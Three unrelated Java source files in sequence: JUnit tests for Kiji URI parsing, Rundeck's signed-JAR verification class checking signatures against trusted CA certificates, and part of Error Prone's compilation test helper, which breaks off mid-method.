* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.kiji.schema;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import java.util.Arrays;
import org.junit.Test;
public class TestKijiURI {
@Test
public void testClusterIdentifier() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost:1234").build();
assertEquals("kiji", uri.getScheme());
assertEquals("zkhost", uri.getZookeeperQuorum().get(0));
assertEquals(1234, uri.getZookeeperClientPort());
assertEquals(null, uri.getInstance());
assertEquals(null, uri.getTable());
assertTrue(uri.getColumns().isEmpty());
}
@Test
public void testKijiInstanceUri() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost:1234/instance").build();
assertEquals("kiji", uri.getScheme());
assertEquals("zkhost", uri.getZookeeperQuorum().get(0));
assertEquals(1234, uri.getZookeeperClientPort());
assertEquals("instance", uri.getInstance());
assertEquals(null, uri.getTable());
assertTrue(uri.getColumns().isEmpty());
}
@Test
public void testSingleHost() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost:1234/instance/table/col").build();
assertEquals("kiji", uri.getScheme());
assertEquals("zkhost", uri.getZookeeperQuorum().get(0));
assertEquals(1234, uri.getZookeeperClientPort());
assertEquals("instance", uri.getInstance());
assertEquals("table", uri.getTable());
assertEquals("col", uri.getColumns().get(0).getName());
}
@Test
public void testSingleHostGroupColumn() {
final KijiURI uri =
KijiURI.newBuilder("kiji://zkhost:1234/instance/table/family:qualifier").build();
assertEquals("kiji", uri.getScheme());
assertEquals("zkhost", uri.getZookeeperQuorum().get(0));
assertEquals(1234, uri.getZookeeperClientPort());
assertEquals("instance", uri.getInstance());
assertEquals("table", uri.getTable());
assertEquals("family:qualifier", uri.getColumns().get(0).getName());
}
@Test
public void testSingleHostDefaultInstance() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost:1234/default/table/col").build();
assertEquals("kiji", uri.getScheme());
assertEquals("zkhost", uri.getZookeeperQuorum().get(0));
assertEquals(1, uri.getZookeeperQuorum().size());
assertEquals(1234, uri.getZookeeperClientPort());
assertEquals("default", uri.getInstance());
assertEquals("table", uri.getTable());
assertEquals("col", uri.getColumns().get(0).getName());
}
@Test
public void testSingleHostDefaultPort() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost/instance/table/col").build();
assertEquals("kiji", uri.getScheme());
assertEquals(1, uri.getZookeeperQuorum().size());
assertEquals("zkhost", uri.getZookeeperQuorum().get(0));
assertEquals(KijiURI.DEFAULT_ZOOKEEPER_CLIENT_PORT, uri.getZookeeperClientPort());
assertEquals("instance", uri.getInstance());
assertEquals("table", uri.getTable());
assertEquals("col", uri.getColumns().get(0).getName());
}
@Test
public void testMultipleHosts() {
final KijiURI uri =
KijiURI.newBuilder("kiji://(zkhost1,zkhost2):1234/instance/table/col").build();
assertEquals("kiji", uri.getScheme());
assertEquals("zkhost1", uri.getZookeeperQuorum().get(0));
assertEquals("zkhost2", uri.getZookeeperQuorum().get(1));
assertEquals(1234, uri.getZookeeperClientPort());
assertEquals("instance", uri.getInstance());
assertEquals("table", uri.getTable());
assertEquals("col", uri.getColumns().get(0).getName());
}
@Test
public void testMultipleHostsDefaultPort() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost1,zkhost2/instance/table/col").build();
assertEquals("kiji", uri.getScheme());
assertEquals("zkhost1", uri.getZookeeperQuorum().get(0));
assertEquals("zkhost2", uri.getZookeeperQuorum().get(1));
assertEquals(KijiURI.DEFAULT_ZOOKEEPER_CLIENT_PORT, uri.getZookeeperClientPort());
assertEquals("instance", uri.getInstance());
assertEquals("table", uri.getTable());
assertEquals("col", uri.getColumns().get(0).getName());
}
@Test
public void testMultipleHostsDefaultPortDefaultInstance() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost1,zkhost2/default/table/col").build();
assertEquals("kiji", uri.getScheme());
assertEquals("zkhost1", uri.getZookeeperQuorum().get(0));
assertEquals("zkhost2", uri.getZookeeperQuorum().get(1));
assertEquals(KijiURI.DEFAULT_ZOOKEEPER_CLIENT_PORT, uri.getZookeeperClientPort());
assertEquals("default", uri.getInstance());
assertEquals("table", uri.getTable());
assertEquals("col", uri.getColumns().get(0).getName());
}
@Test
public void testRelativeToDefaultURI() {
final KijiURI uri = KijiURI.newBuilder("instance/table/col").build();
assertEquals("kiji", uri.getScheme());
assertEquals("instance", uri.getInstance());
assertEquals("table", uri.getTable());
assertEquals("col", uri.getColumns().get(0).getName());
final KijiURI uriTwo = KijiURI.newBuilder("///instance///table/////col").build();
assertEquals("instance", uriTwo.getInstance());
assertEquals("table", uriTwo.getTable());
assertEquals("col", uriTwo.getColumns().get(0).getName());
}
@Test
public void testIllegalScheme() {
try {
KijiURI.newBuilder("kiji-foo:///");
fail("An exception should have been thrown.");
} catch (KijiURIException kurie) {
assertTrue(kurie.getMessage().contains("No parser available for"));
}
}
@Test
public void testNoAuthority() {
try {
KijiURI.newBuilder("kiji:///");
fail("An exception should have been thrown.");
} catch (KijiURIException kurie) {
assertEquals("Invalid Kiji URI: 'kiji:///' : ZooKeeper ensemble missing.",
kurie.getMessage());
}
}
@Test
public void testMultipleHostsNoParen() {
try {
KijiURI.newBuilder("kiji://zkhost1,zkhost2:1234/instance/table/col");
fail("An exception should have been thrown.");
} catch (KijiURIException kurie) {
assertEquals("Invalid Kiji URI: 'kiji://zkhost1,zkhost2:1234/instance/table/col' : Multiple "
+ "ZooKeeper hosts must be parenthesized.", kurie.getMessage());
}
}
@Test
public void testMultipleHostsMultiplePorts() {
try {
KijiURI.newBuilder("kiji://zkhost1:1234,zkhost2:2345/instance/table/col");
fail("An exception should have been thrown.");
} catch (KijiURIException kurie) {
assertEquals("Invalid Kiji URI: 'kiji://zkhost1:1234,zkhost2:2345/instance/table/col' : "
+ "Invalid ZooKeeper ensemble cluster identifier.",
kurie.getMessage());
}
}
@Test
public void testMultipleColumns() {
final KijiURI uri =
KijiURI.newBuilder("kiji://zkhost1,zkhost2/default/table/col1,col2").build();
assertEquals("zkhost1", uri.getZookeeperQuorum().get(0));
assertEquals("zkhost2", uri.getZookeeperQuorum().get(1));
assertEquals(KijiURI.DEFAULT_ZOOKEEPER_CLIENT_PORT, uri.getZookeeperClientPort());
assertEquals("default", uri.getInstance());
assertEquals("table", uri.getTable());
assertEquals(2, uri.getColumns().size());
}
@Test
public void testExtraPath() {
try {
KijiURI.newBuilder("kiji://(zkhost1,zkhost2):1234/instance/table/col/extra");
fail("An exception should have been thrown.");
} catch (KijiURIException kurie) {
assertEquals("Invalid Kiji URI: 'kiji://(zkhost1,zkhost2):1234/instance/table/col/extra' : "
+ "Too many path segments.",
kurie.getMessage());
}
}
@Test
public void testURIWithQuery() {
final KijiURI uri =
KijiURI.newBuilder("kiji://(zkhost1,zkhost2):1234/instance/table/col?query").build();
assertEquals("zkhost1", uri.getZookeeperQuorum().get(0));
assertEquals("zkhost2", uri.getZookeeperQuorum().get(1));
assertEquals(1234, uri.getZookeeperClientPort());
assertEquals("instance", uri.getInstance());
assertEquals("table", uri.getTable());
assertEquals("col", uri.getColumns().get(0).getName());
}
@Test
public void testURIWithFragment() {
final KijiURI uri =
KijiURI.newBuilder("kiji://(zkhost1,zkhost2):1234/instance/table/col#frag").build();
assertEquals("zkhost1", uri.getZookeeperQuorum().get(0));
assertEquals("zkhost2", uri.getZookeeperQuorum().get(1));
assertEquals(1234, uri.getZookeeperClientPort());
assertEquals("instance", uri.getInstance());
assertEquals("table", uri.getTable());
assertEquals("col", uri.getColumns().get(0).getName());
}
@Test
public void testPartialURIZookeeper() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost:1234").build();
assertEquals("zkhost", uri.getZookeeperQuorum().get(0));
assertEquals(1234, uri.getZookeeperClientPort());
assertEquals(null, uri.getInstance());
}
@Test
public void testBasicResolution() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost:1234").build();
final KijiURI resolved = uri.resolve("testinstance");
assertEquals("testinstance", resolved.getInstance());
}
@Test
public void testResolution() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost:1234/.unset").build();
final KijiURI resolved = uri.resolve("testinstance");
assertEquals("testinstance", resolved.getInstance());
}
@Test
public void testResolutionColumn() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost/instance/table").build();
final KijiURI resolved = uri.resolve("col");
assertEquals("col", resolved.getColumns().get(0).getName());
}
@Test
public void testInvalidResolution() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost:1234").build();
try {
uri.resolve("instance/table/col/extra");
fail("An exception should have been thrown.");
} catch (KijiURIException kurie) {
assertEquals("Invalid Kiji URI: 'kiji://zkhost:1234/instance/table/col/extra' : "
+ "Too many path segments.", kurie.getMessage());
}
}
@Test
public void testToString() {
String uri = "kiji://(zkhost1,zkhost2):1234/instance/table/col/";
assertEquals(uri, KijiURI.newBuilder(uri).build().toString());
uri = "kiji://zkhost1:1234/instance/table/col/";
assertEquals(uri, KijiURI.newBuilder(uri).build().toString());
uri = "kiji://zkhost:1234/instance/table/col1,col2/";
assertEquals(uri, KijiURI.newBuilder(uri).build().toString());
uri = "kiji://zkhost:1234/.unset/table/col/";
assertEquals(uri, KijiURI.newBuilder(uri).build().toString());
}
@Test
public void testNormalizedQuorum() {
KijiURI uri = KijiURI.newBuilder("kiji://(zkhost1,zkhost2):1234/instance/table/col/").build();
KijiURI reversedQuorumUri =
KijiURI.newBuilder("kiji://(zkhost2,zkhost1):1234/instance/table/col/").build();
assertEquals(uri.toString(), reversedQuorumUri.toString());
assertEquals(uri.getZookeeperQuorum(), reversedQuorumUri.getZookeeperQuorum());
}
@Test
public void testNormalizedColumns() {
KijiURI uri = KijiURI.newBuilder("kiji://(zkhost1,zkhost2):1234/instance/table/col/").build();
KijiURI reversedColumnURI =
KijiURI.newBuilder("kiji://(zkhost2,zkhost1):1234/instance/table/col/").build();
assertEquals(uri.toString(), reversedColumnURI.toString());
assertEquals(uri.getColumns(), reversedColumnURI.getColumns());
}
@Test
public void testOrderedQuorum() {
KijiURI uri = KijiURI.newBuilder("kiji://(zkhost1,zkhost2):1234/instance/table/col/").build();
KijiURI reversedQuorumUri =
KijiURI.newBuilder("kiji://(zkhost2,zkhost1):1234/instance/table/col/").build();
assertFalse(uri.getZookeeperQuorumOrdered()
.equals(reversedQuorumUri.getZookeeperQuorumOrdered()));
assertFalse(uri.toOrderedString().equals(reversedQuorumUri.toOrderedString()));
}
@Test
public void testOrderedColumns() {
KijiURI uri =
KijiURI.newBuilder("kiji://(zkhost1,zkhost2):1234/instance/table/col1,col2/").build();
KijiURI reversedColumnURI =
KijiURI.newBuilder("kiji://(zkhost1,zkhost2):1234/instance/table/col2,col1/").build();
assertFalse(uri.toOrderedString().equals(reversedColumnURI.toOrderedString()));
assertFalse(uri.getColumnsOrdered().equals(reversedColumnURI.getColumnsOrdered()));
}
/**
* Tests that KijiURI.newBuilder().build() builds a URI for the default Kiji instance URI.
*
* The default Kiji instance URI is environment specific. Hence, this cannot test for explicit
* values of the ZooKeeper quorum of of the ZooKeeper client port.
*/
@Test
public void testKijiURIBuilderDefault() {
KijiURI uri = KijiURI.newBuilder().build();
assertTrue(!uri.getZookeeperQuorum().isEmpty()); // Test cannot be more specific.
// Test cannot validate the value of uri.getZookeeperClientPort().
assertEquals(KConstants.DEFAULT_INSTANCE_NAME, uri.getInstance());
assertEquals(null, uri.getTable());
assertTrue(uri.getColumns().isEmpty());
}
@Test
public void testKijiURIBuilderFromInstance() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost:1234/.unset/table").build();
KijiURI built = KijiURI.newBuilder(uri).build();
assertEquals(uri, built);
}
@Test
public void testKijiURIBuilderWithInstance() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost:1234/instance1/table").build();
assertEquals("instance1", uri.getInstance());
final KijiURI modified =
KijiURI.newBuilder(uri).withInstanceName("instance2").build();
assertEquals("instance2", modified.getInstance());
assertEquals("instance1", uri.getInstance());
}
@Test
public void testSetColumn() {
KijiURI uri = KijiURI.newBuilder("kiji://zkhost/instance/table/").build();
assertTrue(uri.getColumns().isEmpty());
uri =
KijiURI.newBuilder(uri).withColumnNames(Arrays.asList("testcol1", "testcol2"))
.build();
assertEquals(2, uri.getColumns().size());
}
@Test
public void testSetZookeeperQuorum() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost/instance/table/col").build();
final KijiURI modified = KijiURI.newBuilder(uri)
.withZookeeperQuorum(new String[] {"zkhost1", "zkhost2"}).build();
assertEquals(2, modified.getZookeeperQuorum().size());
assertEquals("zkhost1", modified.getZookeeperQuorum().get(0));
assertEquals("zkhost2", modified.getZookeeperQuorum().get(1));
}
@Test
public void testTrailingUnset() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost/.unset/table/.unset").build();
KijiURI result = KijiURI.newBuilder(uri).withTableName(".unset").build();
assertEquals("kiji://zkhost:2181/", result.toString());
}
@Test
public void testEscapedMapColumnQualifier() {
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost/instance/table/map:one%20two").build();
assertEquals("map:one two", uri.getColumns().get(0).getName());
}
@Test
public void testConstructedUriIsEscaped() {
// SCHEMA-6. Column qualifier must be URL-encoded in KijiURI.
final KijiURI uri = KijiURI.newBuilder("kiji://zkhost/instance/table/")
.addColumnName(KijiColumnName.create("map:one two")).build();
assertEquals("kiji://zkhost:2181/instance/table/map:one%20two/", uri.toString());
}
}
| |
/*
* Copyright 2016 SimplifyOps, Inc. (http://simplifyops.com)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* JARVerifier.java
*
* User: greg
* Created: Jan 25, 2005 11:50:37 AM
* $Id: JARVerifier.java 1079 2008-02-05 04:53:32Z ahonor $
*/
package com.dtolabs.rundeck.core.utils;
import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.cert.Certificate;
import java.security.cert.CertificateException;
import java.security.cert.CertificateFactory;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.Vector;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.Manifest;
/**
* JARVerifier verifies signed JAR files given a list of trusted CA certificates. See <a
* href="http://java.sun.com/products/jce/doc/guide/HowToImplAProvider.html#MutualAuth">http://java.sun.com/products/jce/doc/guide/HowToImplAProvider.html#MutualAuth</a>
*
* @author Greg Schueler <a href="mailto:greg@dtosolutions.com">greg@dtosolutions.com</a>
* @version $Revision: 1079 $
*/
public final class JARVerifier {
private X509Certificate[] trustedCaCerts;
/**
* Create a JAR verifier with an array of trusted certificate authority certificates.
*
* @param trustedCaCerts certs
*/
public JARVerifier(X509Certificate[] trustedCaCerts) {
this.trustedCaCerts = null != trustedCaCerts ? trustedCaCerts.clone() : null;
}
/**
* @return Construct a JARVerifier with a keystore and alias and password.
*
* @param keystore filepath to the keystore
* @param alias alias name of the cert chain to verify with
* @param passwd password to use to verify the keystore, or null
* @throws IOException on io error
* @throws KeyStoreException key store error
* @throws NoSuchAlgorithmException algorithm missing
* @throws CertificateException cert error
*/
public static JARVerifier create(String keystore, String alias, char[] passwd) throws IOException, KeyStoreException,
NoSuchAlgorithmException,
CertificateException {
KeyStore keyStore = KeyStore.getInstance("JKS");
FileInputStream fileIn=null;
try {
fileIn = new FileInputStream(keystore);
keyStore.load(fileIn, passwd);
} finally {
if(null!= fileIn){
fileIn.close();
}
}
Certificate[] chain = keyStore.getCertificateChain(alias);
if (chain == null) {
Certificate cert = keyStore.getCertificate(alias);
if (cert == null) {
throw new IllegalArgumentException("No trusted certificate or chain found for alias: " + alias);
}
chain = new Certificate[]{cert};
}
X509Certificate certChain[] = new X509Certificate[chain.length];
CertificateFactory cf = CertificateFactory.getInstance("X.509");
for (int count = 0; count < chain.length; count++) {
ByteArrayInputStream certIn = new ByteArrayInputStream(chain[count].getEncoded());
X509Certificate cert = (X509Certificate) cf.generateCertificate(certIn);
certChain[count] = cert;
}
JARVerifier jarVerifier = new JARVerifier(certChain);
return jarVerifier;
}
/**
* An Exception thrown during verification.
*/
public static final class VerifierException extends Exception {
public VerifierException(Throwable throwable) {
super(throwable);
}
public VerifierException(String s, Throwable throwable) {
super(s, throwable);
}
public VerifierException(String s) {
super(s);
}
public VerifierException() {
super();
}
}
/**
* Verify the JAR file signatures with the trusted CA certificates.
*
* @param jf jar file
* @throws IOException on io error
* @throws CertificateException on cert error
* @throws VerifierException If the jar file cannot be verified.
*/
public final void verifySingleJarFile(JarFile jf)
throws IOException, CertificateException, VerifierException {
Vector entriesVec = new Vector();
// Ensure there is a manifest file
Manifest man = jf.getManifest();
if (man == null) {
throw new VerifierException("The JAR is not signed");
}
// Ensure all the entries' signatures verify correctly
byte[] buffer = new byte[8192];
Enumeration entries = jf.entries();
while (entries.hasMoreElements()) {
JarEntry je = (JarEntry) entries.nextElement();
entriesVec.addElement(je);
InputStream is = jf.getInputStream(je);
int n;
while ((n = is.read(buffer, 0, buffer.length)) != -1) {
// we just read. this will throw a SecurityException
// if a signature/digest check fails.
}
is.close();
}
jf.close();
// Get the list of signer certificates
Enumeration e = entriesVec.elements();
while (e.hasMoreElements()) {
JarEntry je = (JarEntry) e.nextElement();
if (je.isDirectory()) {
continue;
}
// Every file must be signed - except
// files in META-INF
Certificate[] certs = je.getCertificates();
if ((certs == null) || (certs.length == 0)) {
if (!je.getName().startsWith("META-INF")) {
throw new VerifierException("The JAR file has unsigned files.");
}
} else {
// Check whether the file
// is signed as expected.
// The framework may be signed by
// multiple signers. At least one of
// the signers must be a trusted signer.
// First, determine the roots of the certificate chains
Certificate[] chainRoots = getChainRoots(certs);
boolean signedAsExpected = false;
for (int i = 0; i < chainRoots.length; i++) {
if (isTrusted((X509Certificate) chainRoots[i],
trustedCaCerts)) {
signedAsExpected = true;
break;
}
}
if (!signedAsExpected) {
throw new VerifierException("The JAR file is not signed by a trusted signer");
}
}
}
}
private static boolean isTrusted(X509Certificate cert,
X509Certificate[] trustedCaCerts) {
// Return true iff either of the following is true:
// 1) the cert is in the trustedCaCerts.
// 2) the cert is issued by a trusted CA.
// Check whether the cert is in the trustedCaCerts
for (int i = 0; i < trustedCaCerts.length; i++) {
// If the cert has the same SubjectDN
// as a trusted CA, check whether
// the two certs are the same.
if (cert.getSubjectDN().equals(trustedCaCerts[i].getSubjectDN())) {
if (cert.equals(trustedCaCerts[i])) {
return true;
}
}
}
// Check whether the cert is issued by a trusted CA.
// Signature verification is expensive. So we check
// whether the cert is issued
// by one of the trusted CAs iff the above loop failed.
for (int i = 0; i < trustedCaCerts.length; i++) {
// If the issuer of the cert has the same name as
// a trusted CA, check whether that trusted CA
// actually issued the cert.
if (cert.getIssuerDN().equals(trustedCaCerts[i].getSubjectDN())) {
try {
cert.verify(trustedCaCerts[i].getPublicKey());
return true;
} catch (Exception e) {
// Do nothing.
}
}
}
return false;
}
private static Certificate[]
getChainRoots(Certificate[] certs) {
Vector result = new Vector(3);
// choose a Vector size that seems reasonable
for (int i = 0; i < certs.length - 1; i++) {
if (!((X509Certificate) certs[i + 1]).getSubjectDN().equals(((X509Certificate) certs[i]).getIssuerDN())) {
// We've reached the end of a chain
result.addElement(certs[i]);
}
}
// The final entry in the certs array is always
// a "root" certificate
result.addElement(certs[certs.length - 1]);
Certificate[] ret = new Certificate[result.size()];
result.copyInto(ret);
return ret;
}
}
| |
/*
* Copyright 2012 The Error Prone Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.errorprone;
import static com.google.common.base.Preconditions.checkState;
import static com.google.common.collect.ImmutableList.toImmutableList;
import static com.google.common.truth.Truth.assertWithMessage;
import static com.google.errorprone.BugCheckerInfo.canonicalName;
import static com.google.errorprone.FileObjects.forResource;
import static com.google.errorprone.FileObjects.forSourceLines;
import static java.nio.charset.StandardCharsets.UTF_8;
import static java.util.Arrays.asList;
import static java.util.Arrays.stream;
import static org.junit.Assert.fail;
import com.google.common.base.Joiner;
import com.google.common.base.Predicate;
import com.google.common.collect.ImmutableList;
import com.google.common.io.ByteStreams;
import com.google.errorprone.DiagnosticTestHelper.LookForCheckNameInDiagnostic;
import com.google.errorprone.annotations.CheckReturnValue;
import com.google.errorprone.bugpatterns.BugChecker;
import com.google.errorprone.scanner.ScannerSupplier;
import com.sun.tools.javac.api.JavacTool;
import com.sun.tools.javac.main.Main.Result;
import java.io.BufferedWriter;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.io.UncheckedIOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
import java.util.Optional;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import javax.annotation.Nullable;
import javax.tools.Diagnostic;
import javax.tools.JavaFileObject;
/** Helps test Error Prone bug checkers and compilations. */
@CheckReturnValue
public class CompilationTestHelper {
private static final ImmutableList<String> DEFAULT_ARGS =
ImmutableList.of(
"-encoding",
"UTF-8",
// print stack traces for completion failures
"-XDdev",
"-parameters",
"-XDcompilePolicy=simple",
// Don't limit errors/warnings for tests to the default of 100
"-Xmaxerrs",
"500",
"-Xmaxwarns",
"500");
private final DiagnosticTestHelper diagnosticHelper;
private final BaseErrorProneJavaCompiler compiler;
private final ByteArrayOutputStream outputStream;
private final Class<?> clazz;
private final List<JavaFileObject> sources = new ArrayList<>();
private ImmutableList<String> extraArgs = ImmutableList.of();
@Nullable private ImmutableList<Class<?>> overrideClasspath;
private boolean expectNoDiagnostics = false;
private Optional<Result> expectedResult = Optional.empty();
private LookForCheckNameInDiagnostic lookForCheckNameInDiagnostic =
LookForCheckNameInDiagnostic.YES;
private boolean run = false;
private CompilationTestHelper(ScannerSupplier scannerSupplier, String checkName, Class<?> clazz) {
this.clazz = clazz;
this.diagnosticHelper = new DiagnosticTestHelper(checkName);
this.outputStream = new ByteArrayOutputStream();
this.compiler = new BaseErrorProneJavaCompiler(JavacTool.create(), scannerSupplier);
}
/**
* Returns a new {@link CompilationTestHelper}.
*
* @param scannerSupplier the {@link ScannerSupplier} to test
* @param clazz the class to use to locate file resources
*/
public static CompilationTestHelper newInstance(ScannerSupplier scannerSupplier, Class<?> clazz) {
return new CompilationTestHelper(scannerSupplier, null, clazz);
}
/**
* Returns a new {@link CompilationTestHelper}.
*
* @param checker the {@link BugChecker} to test
* @param clazz the class to use to locate file resources
*/
public static CompilationTestHelper newInstance(
Class<? extends BugChecker> checker, Class<?> clazz) {
ScannerSupplier scannerSupplier = ScannerSupplier.fromBugCheckerClasses(checker);
String checkName =
canonicalName(checker.getSimpleName(), checker.getAnnotation(BugPattern.class));
return new CompilationTestHelper(scannerSupplier, checkName, clazz);
}
/**
* Pass -proc:none unless annotation processing is explicitly enabled, to avoid picking up
* annotation processors via service loading.
*/
// TODO(cushon): test compilations should be isolated so they can't pick things up from the
// ambient classpath.
static List<String> disableImplicitProcessing(List<String> args) {
if (args.contains("-processor") || args.contains("-processorpath")) {
return args;
}
return ImmutableList.<String>builder().addAll(args).add("-proc:none").build();
}
/**
* Creates a list of arguments to pass to the compiler. Uses DEFAULT_ARGS as the base and appends
* the overridden classpath, if provided, and any extraArgs that were provided.
*/
private static ImmutableList<String> buildArguments(
@Nullable List<Class<?>> overrideClasspath, List<String> extraArgs) {
ImmutableList.Builder<String> result = ImmutableList.<String>builder().addAll(DEFAULT_ARGS);
getOverrideClasspath(overrideClasspath)
.ifPresent((Path jar) -> result.add("-cp").add(jar.toString()));
return result.addAll(disableImplicitProcessing(extraArgs)).build();
}
private static Optional<Path> getOverrideClasspath(@Nullable List<Class<?>> overrideClasspath) {
if (overrideClasspath == null) {
return Optional.empty();
}
try {
Path tempJarFile = Files.createTempFile(/* prefix = */ null, /* suffix = */ ".jar");
try (OutputStream os = Files.newOutputStream(tempJarFile);
JarOutputStream jos = new JarOutputStream(os)) {
for (Class<?> clazz : overrideClasspath) {
String entryPath = clazz.getName().replace('.', '/') + ".class";
jos.putNextEntry(new JarEntry(entryPath));
try (InputStream is = clazz.getClassLoader().getResourceAsStream(entryPath)) {
ByteStreams.copy(is, jos);
}
}
}
return Optional.of(tempJarFile);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
}
/**
* Adds a source file to the test compilation, from the string content of the file.
*
* <p>The diagnostics expected from compiling the file are inferred from the file contents. For
* each line of the test file that contains the bug marker pattern "// BUG: Diagnostic contains:
* foo", we expect to see a diagnostic on that line containing "foo". For each line of the test
* file that does <i>not</i> contain the bug marker pattern, we expect no diagnostic to be
* generated. You can also use "// BUG: Diagnostic matches: X" in tandem with {@code
* expectErrorMessage("X", "foo")} to allow you to programmatically construct the error message.
*
* @param path a path for the source file
* @param lines the content of the source file
*/
// TODO(eaftan): We could eliminate this path parameter and just infer the path from the
// package and class name
public CompilationTestHelper addSourceLines(String path, String... lines) {
this.sources.add(forSourceLines(path, lines));
return this;
}
/**
* Adds a source file to the test compilation, from an existing resource file.
*
* <p>See {@link #addSourceLines} for how expected diagnostics should be specified.
*
* @param path the path to the source file
*/
public CompilationTestHelper addSourceFile(String path) {
this.sources.add(forResource(clazz, path));
return this;
}
/**
* Sets the classpath for the test compilation, overriding the default of using the runtime
* classpath of the test execution. This is useful to verify correct behavior when the classpath
* is incomplete.
*
* @param classes the class(es) to use as the classpath
*/
public CompilationTestHelper withClasspath(Class<?>... classes) {
this.overrideClasspath = ImmutableList.copyOf(classes);
return this;
}
public CompilationTestHelper addModules(String... modules) {
return setArgs(
stream(modules)
.map(m -> String.format("--add-exports=%s=ALL-UNNAMED", m))
.collect(toImmutableList()));
}
/**
* Sets custom command-line arguments for the compilation. These will be appended to the default
* compilation arguments.
*/
public CompilationTestHelper setArgs(String... args) {
return setArgs(asList(args));
}
/**
* Sets custom command-line arguments for the compilation. These will be appended to the default
* compilation arguments.
*/
public CompilationTestHelper setArgs(List<String> args) {
checkState(
extraArgs.isEmpty(),
"Extra args already set: old value: %s, new value: %s",
extraArgs,
args);
this.extraArgs = ImmutableList.copyOf(args);
return this;
}
/**
* Tells the compilation helper to expect that no diagnostics will be generated, even if the
* source file contains bug markers. Useful for testing that a check is actually disabled when the
* proper command-line argument is passed.
*/
public CompilationTestHelper expectNoDiagnostics() {
this.expectNoDiagnostics = true;
return this;
}
/**
* By default, the compilation helper will only inspect diagnostics generated by the check being
* tested. This behaviour can be disabled to test the interaction between Error Prone checks and
* javac diagnostics.
*/
public CompilationTestHelper matchAllDiagnostics() {
this.lookForCheckNameInDiagnostic = LookForCheckNameInDiagnostic.NO;
return this;
}
/**
* Tells the compilation helper to expect a specific result from the compilation, e.g. success or
* failure.
*/
public CompilationTestHelper expectResult(Result result) {
expectedResult = Optional.of(result);
return this;
}
/**
* Expects an error message matching {@code matcher} at the line below a comment matching the key.
* For example, given the source
*
* <pre>
* // BUG: Diagnostic matches: X
* a = b + c;
* </pre>
*
* ... you can use {@code expectErrorMessage("X", Predicates.containsPattern("Can't add b to
* c"));}
*
* <p>Error message keys that don't match any diagnostics will cause test to fail.
*/
public CompilationTestHelper expectErrorMessage(String key, Predicate<? super String> matcher) {
diagnosticHelper.expectErrorMessage(key, matcher);
return this;
}
/** Performs a compilation and checks that the diagnostics and result match the expectations. */
public void doTest() {
checkState(!sources.isEmpty(), "No source files to compile");
checkState(!run, "doTest should only be called once");
this.run = true;
Result result = compile();
for (Diagnostic<? extends JavaFileObject> diagnostic : diagnosticHelper.getDiagnostics()) {
if (diagnostic.getCode().contains("error.prone.crash")) {
fail(diagnostic.getMessage(Locale.ENGLISH));
}
}
if (expectNoDiagnostics) {
List<Diagnostic<? extends JavaFileObject>> diagnostics = diagnosticHelper.getDiagnostics();
assertWithMessage(
String.format(
"Expected no diagnostics produced, but found %d: %s",
diagnostics.size(), diagnostics))
.that(diagnostics.size())
.isEqualTo(0);
assertWithMessage(
String.format(
"Expected compilation result to be "
+ expectedResult.orElse(Result.OK)
+ ", but was %s. No diagnostics were emitted."
+ " OutputStream from Compiler follows.\n\n%s",
result,
outputStream))
.that(result)
.isEqualTo(expectedResult.orElse(Result.OK));
} else {
for (JavaFileObject source : sources) {
try {
diagnosticHelper.assertHasDiagnosticOnAllMatchingLines(
source, lookForCheckNameInDiagnostic);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
}
assertWithMessage("Unused error keys: " + diagnosticHelper.getUnusedLookupKeys())
.that(diagnosticHelper.getUnusedLookupKeys().isEmpty())
.isTrue();
}
expectedResult.ifPresent(
expected ->
assertWithMessage(
String.format(
